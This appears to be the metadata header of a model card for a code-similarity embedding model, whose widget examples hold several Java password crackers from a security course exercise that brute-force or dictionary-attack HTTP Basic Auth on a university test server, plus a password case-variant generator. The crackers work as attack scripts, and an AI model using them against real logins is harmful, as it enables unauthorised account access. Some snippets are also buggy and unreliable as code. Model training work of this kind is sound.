--- tags: - sentence-transformers - sentence-similarity - feature-extraction - generated_from_trainer - dataset_size:42960 - loss:BatchAllTripletLoss - loss:TripletLoss base_model: huggingface/CodeBERTa-small-v1 widget: - source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\ \ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\ \ status = false;\n\n public static void main (String args[]){\n Dictionary\ \ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ ,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\ );\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\ \t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\ \ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\ \ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\ \ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\ \t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\ \ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\ File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\ \t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \ \ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\ \ (connectURL(new URL(args[0]), args[1], args[2])));\n String\ \ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\ \ status = true;\n }\n }\n catch (IOException e)\ \ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\ \ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ \ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\ \ conn.connect ();\n return conn.getInputStream();\n }\n\n public\ \ String userNamePasswordBase64(String username, String password) {\n return\ \ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\ \ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\ \ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ \ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ \ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ \ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\ \ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\ \ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\ \ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \ \ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\ \ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ \ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ \ {\n b3 = 0;\n pad = 1;\n }\n else\n\ \ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ \ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ \ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ \ encodedString += base64Array [c4];\n break;\n case 1:\n\ \ encodedString += base64Array [c3];\n encodedString += \"=\"\ ;\n break;\n case 2:\n encodedString += \"==\";\n \ \ break;\n }\n }\n return encodedString;\n }\n }\n\n" sentences: - "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\ \ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\ \n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\ \ void attack(String args[]) {\n try {\n String login = new String(\"\"\ );\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ );\n String passwd = new String();\n\n\n passwd = getPasswd();\n \ \ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\ \ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\ \ != null) {\n System.out.println(line);\n }\n System.out.println(\"\ Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ \ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \ \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ \ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \ \ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ \ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\ \ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\ \ dictionary word and waiting for URL reply....... \");\n String currentword\ \ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\ \ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\ \ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\ \ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\ \ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ \ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\ , userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\ \ }\n\n\n public String userNamePasswordBase64(String username, String password)\ \ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\ \n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\ \ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ \ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ \ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\ \ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \ \ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\ \ base64Encode (String string) {\n String encodedString = \"\";\n byte\ \ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\ \ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \ \ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\ \ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ \ if (i >= bytes.length) {\n b3 = 0;\n pad =\ \ 1;\n }\n else\n b3 = bytes [i++];\n \ \ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ \ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\ \ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ \ encodedString += base64Array [c2];\n switch (pad) {\n case\ \ 0:\n encodedString += base64Array [c3];\n encodedString +=\ \ base64Array [c4];\n break;\n case 1:\n encodedString\ \ += base64Array [c3];\n encodedString += \"=\";\n break;\n\ \ case 2:\n encodedString += \"==\";\n break;\n \ \ }\n }\n return encodedString;\n }\n }\n\n" - "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\ \ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\ \ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\ \ a.attack(args);\n }\n\n public void attack(String args[]) {\n \ \ try {\n\n String login = new String(\"\");\n String url = new String(\"\ http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\ \ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\ \ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\ \ String line;\n while ((line = in.readLine()) != null) {\n \ \ System.out.println(line);\n }\n System.out.println(\"\ Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ \ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \ \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ \ System.out.println(\"Trying again with new password\");\n Bruteforce a =\ \ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\ Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\ \ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \ \ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \ \ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\ \ String();\n String c2 = new String();\n String c3 = new String();\n \ \ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \ \ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\ \ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\ \ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\ \";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\ \ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\ \ openURLForInput (URL url, String uname, String pword)\n throws IOException \ \ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\ \ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \ \ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\ \ username, String password) {\n return \" \" + base64Encode (username + \"\ :\" + password);\n }\n\n private final static char base64Array [] = {\n \ \ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\ \ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\ \ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\ \ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\ \ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\ \n private static String base64Encode (String string) {\n String encodedString\ \ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\ \ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \ \ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\ \ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \ \ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\ \ = 0;\n pad = 1;\n }\n else\n b3\ \ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\ \ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\ \ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ \ encodedString += base64Array [c4];\n break;\n case 1:\n\ \ encodedString += base64Array [c3];\n encodedString += \"=\"\ ;\n break;\n case 2:\n encodedString += \"==\";\n \ \ break;\n }\n }\n return encodedString;\n }\n }\n" - "import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\n\ import java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\ \nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\n\ import javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\n\ import javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n \ \ static final String SMTP_SERVER = MailsendPropertyHelper.getProperty(\"smtpServer\"\ );\n static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty(\"\ recipient\");\n static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty(\"\ sender\");\n static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty(\"\ messageHeader\");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ \ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip\ \ = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject\ \ = MESSAGE_HEADER;\n\t\t\tString body = \"Testing\";\n\n\t\t\tSystem.out.println(\"\ Started sending the message\");\n\t\t\tMailsend.send(smtpServer,recip , from,\ \ subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\ \t\t\t\t\"Usage: java mailsend\"\n\t\t\t\t\t+ \" smtpServer toAddress fromAddress\ \ subjectText bodyText\");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic\ \ static void send(String smtpServer, String receiver,\tString from, String subject,\ \ String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\ \n\t\t\t\n\n\t\t\tprops.put(\"mail.smtp.host\", smtpServer);\n\t\t\tprops.put(\"\ mail.smtp.timeout\", \"20000\");\n\t\t\tprops.put(\"mail.smtp.connectiontimeout\"\ , \"20000\");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props,\ \ null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\ \t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\t\ InternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\ \n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\ \t\tTransport.send(msg);\n\n\t\t\tSystem.out.println(\"sent the email with the\ \ differences : \"+ + \"using the mail server: \"+ smtpServer);\n\n\t\t}\n\t\t\ catch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n" - source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\ \ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\ \ status = false;\n\n public static void main (String args[]){\n Dictionary\ \ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ ,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\ );\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\ \t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\ \ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\ \ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\ \ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\ \t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\ \ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\ File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\ \t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \ \ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\ \ (connectURL(new URL(args[0]), args[1], args[2])));\n String\ \ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\ \ status = true;\n }\n }\n catch (IOException e)\ \ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\ \ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ \ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\ \ conn.connect ();\n return conn.getInputStream();\n }\n\n public\ \ String userNamePasswordBase64(String username, String password) {\n return\ \ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\ \ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\ \ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ \ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ \ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ \ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\ \ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\ \ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\ \ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \ \ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\ \ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ \ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ \ {\n b3 = 0;\n pad = 1;\n }\n else\n\ \ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ \ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ \ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ \ encodedString += base64Array [c4];\n break;\n case 1:\n\ \ encodedString += base64Array [c3];\n encodedString += \"=\"\ ;\n break;\n case 2:\n encodedString += \"==\";\n \ \ break;\n }\n }\n return encodedString;\n }\n }\n\n" sentences: - "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\ \ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\ \ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\ \ a.attack(args);\n }\n\n public void attack(String args[]) {\n \ \ try {\n\n String login = new String(\"\");\n String url = new String(\"\ http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\ \ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\ \ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\ \ String line;\n while ((line = in.readLine()) != null) {\n \ \ System.out.println(line);\n }\n System.out.println(\"\ Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ \ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \ \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ \ System.out.println(\"Trying again with new password\");\n Bruteforce a =\ \ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\ Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\ \ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \ \ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \ \ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\ \ String();\n String c2 = new String();\n String c3 = new String();\n \ \ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \ \ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\ \ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\ \ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\ \";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\ \ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\ \ openURLForInput (URL url, String uname, String pword)\n throws IOException \ \ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\ \ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \ \ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\ \ username, String password) {\n return \" \" + base64Encode (username + \"\ :\" + password);\n }\n\n private final static char base64Array [] = {\n \ \ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\ \ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\ \ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\ \ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\ \ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\ \n private static String base64Encode (String string) {\n String encodedString\ \ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\ \ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \ \ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\ \ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \ \ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\ \ = 0;\n pad = 1;\n }\n else\n b3\ \ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\ \ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\ \ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ \ encodedString += base64Array [c4];\n break;\n case 1:\n\ \ encodedString += base64Array [c3];\n encodedString += \"=\"\ ;\n break;\n case 2:\n encodedString += \"==\";\n \ \ break;\n }\n }\n return encodedString;\n }\n }\n" - "\npublic class CasePasswords\n{\n\n \n static int verbose = CrackingConstants.quietMode;\n\ \n \n\t\n\tpublic void CasePasswords()\n\t{\n }\n\n\t\n\tpublic void CasePasswords(int\ \ inVerbose)\n\t{\n\t verbose = inVerbose;\n }\n\n\t\n public String\ \ [] createCasedPasswords( int leftIndex, int midIndex, int rightIndex, String\ \ tail, String [] lowerChars, String [] upperChars, int scanType)\n {\n \ \ String [] casedPasswords = null;\n \n \n \n \ \ if(scanType == CrackingConstants.casedScan)\n if(rightIndex > -1)\n\ \ {\n \n casedPasswords = new String[8];\n\ \ }\n else if(midIndex > -1)\n {\n \ \ \n casedPasswords = new String[4];\n }\n \ \ else\n {\n \n casedPasswords\ \ = new String[2];\n }\n else \n {\n \n \ \ casedPasswords = new String[1];\n }\t\n \n \ \ \n \n \n if(scanType == CrackingConstants.casedScan)\n\ \ {\n if(rightIndex > -1)\n {\n \n\ \ casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex]\ \ + lowerChars[rightIndex];\n casedPasswords[1] = upperChars[leftIndex]\ \ + upperChars[midIndex] + upperChars[rightIndex];\n casedPasswords[2]\ \ = lowerChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex];\n \ \ casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex]\ \ + lowerChars[rightIndex];\n casedPasswords[4] = upperChars[leftIndex]\ \ + lowerChars[midIndex] + lowerChars[rightIndex];\n casedPasswords[5]\ \ = upperChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex];\n \ \ casedPasswords[6] = upperChars[leftIndex] + lowerChars[midIndex]\ \ + upperChars[rightIndex];\n casedPasswords[7] = lowerChars[leftIndex]\ \ + upperChars[midIndex] + upperChars[rightIndex];\n }\n \ \ else if(midIndex > -1)\n {\n \n casedPasswords[0]\ \ = lowerChars[leftIndex] + lowerChars[midIndex];\n casedPasswords[1]\ \ = upperChars[leftIndex] + upperChars[midIndex];\n casedPasswords[2]\ \ = lowerChars[leftIndex] + lowerChars[midIndex];\n casedPasswords[3]\ \ = lowerChars[leftIndex] + upperChars[midIndex];\n }\n \ \ else\n {\n \n casedPasswords[0] = lowerChars[leftIndex];\n\ \ casedPasswords[1] = upperChars[leftIndex];\n }\n \ \ }\n else\t\n {\n if(rightIndex > -1)\n \ \ {\n \n casedPasswords[0] = lowerChars[leftIndex]\ \ + lowerChars[midIndex] + lowerChars[rightIndex];\n }\n \ \ else if(midIndex > -1)\n {\n \n casedPasswords[0]\ \ = lowerChars[leftIndex] + lowerChars[midIndex];\n }\n \ \ else\n {\n \n casedPasswords[0] = lowerChars[leftIndex];\n\ \ }\n }\t\n \n \n \n \n \n\ \ if(\"\" != tail)\n \tfor( i = 0; i < casedPasswords.length; i++)\n\ \ \t\tcasedPasswords[i] += tail;\n \n\t if(verbose\ \ == CrackingConstants.verboseMode2)\n\t printPasswords(casedPasswords);\n\ \n return casedPasswords;\n } \n \n\t\n public String [] createCasedPasswords(String\ \ candidate, int scanType)\n {\n \n int candLength = candidate.length();\n\ \ int arrayLength = 2 ^ candLength;\n arrayLength = 1;\n \ \ String [] shortCasedPasswords = new String[1];\n String [] casedPasswords\ \ = null;\n char[] password = new char [candidate.length()];\n \n\ \ \n if(scanType != CrackingConstants.simpleScan)\n candidate.getChars(0,\ \ candidate.length(), password, 0);\n \n \n \n \n\ \ \n \n \n \n \n \n if(scanType\ \ == CrackingConstants.simpleScan)\n {\n \n \n \ \ casedPasswords = new String[1];\n casedPasswords[0] = candidate;\n\ \ }\n else if(candidate.length() == 1)\n {\n casedPasswords\ \ = new String[2];\n casedPasswords[0] = Character.toString(Character.toLowerCase(password[0]));\n\ \ casedPasswords[1] = Character.toString(Character.toUpperCase(password[0]));\n\ \ \n }\n else if (candidate.length() == 2)\n {\n\ \ casedPasswords = new String[4];\n casedPasswords[0] =\ \ Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1]));\n\ \ casedPasswords[1] = Character.toString(Character.toUpperCase(password[0]))\ \ + Character.toString(Character.toUpperCase(password[1]));\n casedPasswords[2]\ \ = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1]));\n\ \ casedPasswords[3] = Character.toString(Character.toUpperCase(password[0]))\ \ + Character.toString(Character.toLowerCase(password[1]));\n \n \ \ }\n else if (candidate.length() == 3)\n {\n casedPasswords\ \ = new String[8];\n casedPasswords[0] = Character.toLowerCase(password[0])\ \ + Character.toString(Character.toLowerCase(password[1])) + Character.toLowerCase(password[2]);\n\ \ casedPasswords[1] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))\ \ + Character.toUpperCase(password[2]);\n casedPasswords[2] = Character.toLowerCase(password[0])\ \ + Character.toString(Character.toLowerCase(password[1])) + Character.toUpperCase(password[2]);\n\ \ casedPasswords[3] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))\ \ + Character.toLowerCase(password[2]);\n casedPasswords[4] = Character.toUpperCase(password[0])\ \ + Character.toString(Character.toLowerCase(password[1])) + Character.toLowerCase(password[2]);\n\ \ casedPasswords[5] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))\ \ + Character.toLowerCase(password[2]);\n casedPasswords[6] = Character.toUpperCase(password[0])\ \ + Character.toString(Character.toLowerCase(password[1])) + Character.toUpperCase(password[2]);\n\ \ casedPasswords[7] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))\ \ + Character.toUpperCase(password[2]);\n \n }\n else\ \ if (candidate.length() > 3)\n {\n casedPasswords = new String[8];\n\ \ String tailCharacters = new String(password, 3, (password.length\ \ - 3));\n casedPasswords[0] = Character.toString(Character.toLowerCase(password[0]))\ \ + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toLowerCase(password[2]))\ \ + tailCharacters;\n casedPasswords[1] = Character.toString(Character.toUpperCase(password[0]))\ \ + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toUpperCase(password[2]))\ \ + tailCharacters;\n casedPasswords[2] = Character.toString(Character.toLowerCase(password[0]))\ \ + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toUpperCase(password[2]))\ \ + tailCharacters;\n casedPasswords[3] = Character.toString(Character.toLowerCase(password[0]))\ \ + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toLowerCase(password[2]))\ \ + tailCharacters;\n casedPasswords[4] = Character.toString(Character.toUpperCase(password[0]))\ \ + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toLowerCase(password[2]))\ \ + tailCharacters;\n casedPasswords[5] = Character.toString(Character.toUpperCase(password[0]))\ \ + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toLowerCase(password[2]))\ \ + tailCharacters;\n casedPasswords[6] = Character.toString(Character.toUpperCase(password[0]))\ \ + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toUpperCase(password[2]))\ \ + tailCharacters;\n casedPasswords[7] = Character.toString(Character.toLowerCase(password[0]))\ \ + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toUpperCase(password[2]))\ \ + tailCharacters;\n \n }\n \n\t if(verbose == CrackingConstants.verboseMode2)\n\ \t printPasswords(casedPasswords);\n\n return casedPasswords;\n\ \ }\n \n \n\t\n private void printPasswords(String [] passwords)\n\ \ {\n if(passwords.length > 0)\n {\n for( i = 0; i\ \ < passwords.length; i++)\t\n {\n System.out.print(passwords[i]\ \ + \"\\t\");\n }\n System.out.println(\"\\n\");\n \ \ }\n } \n \n} \n" - "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\ \ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\ \n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n 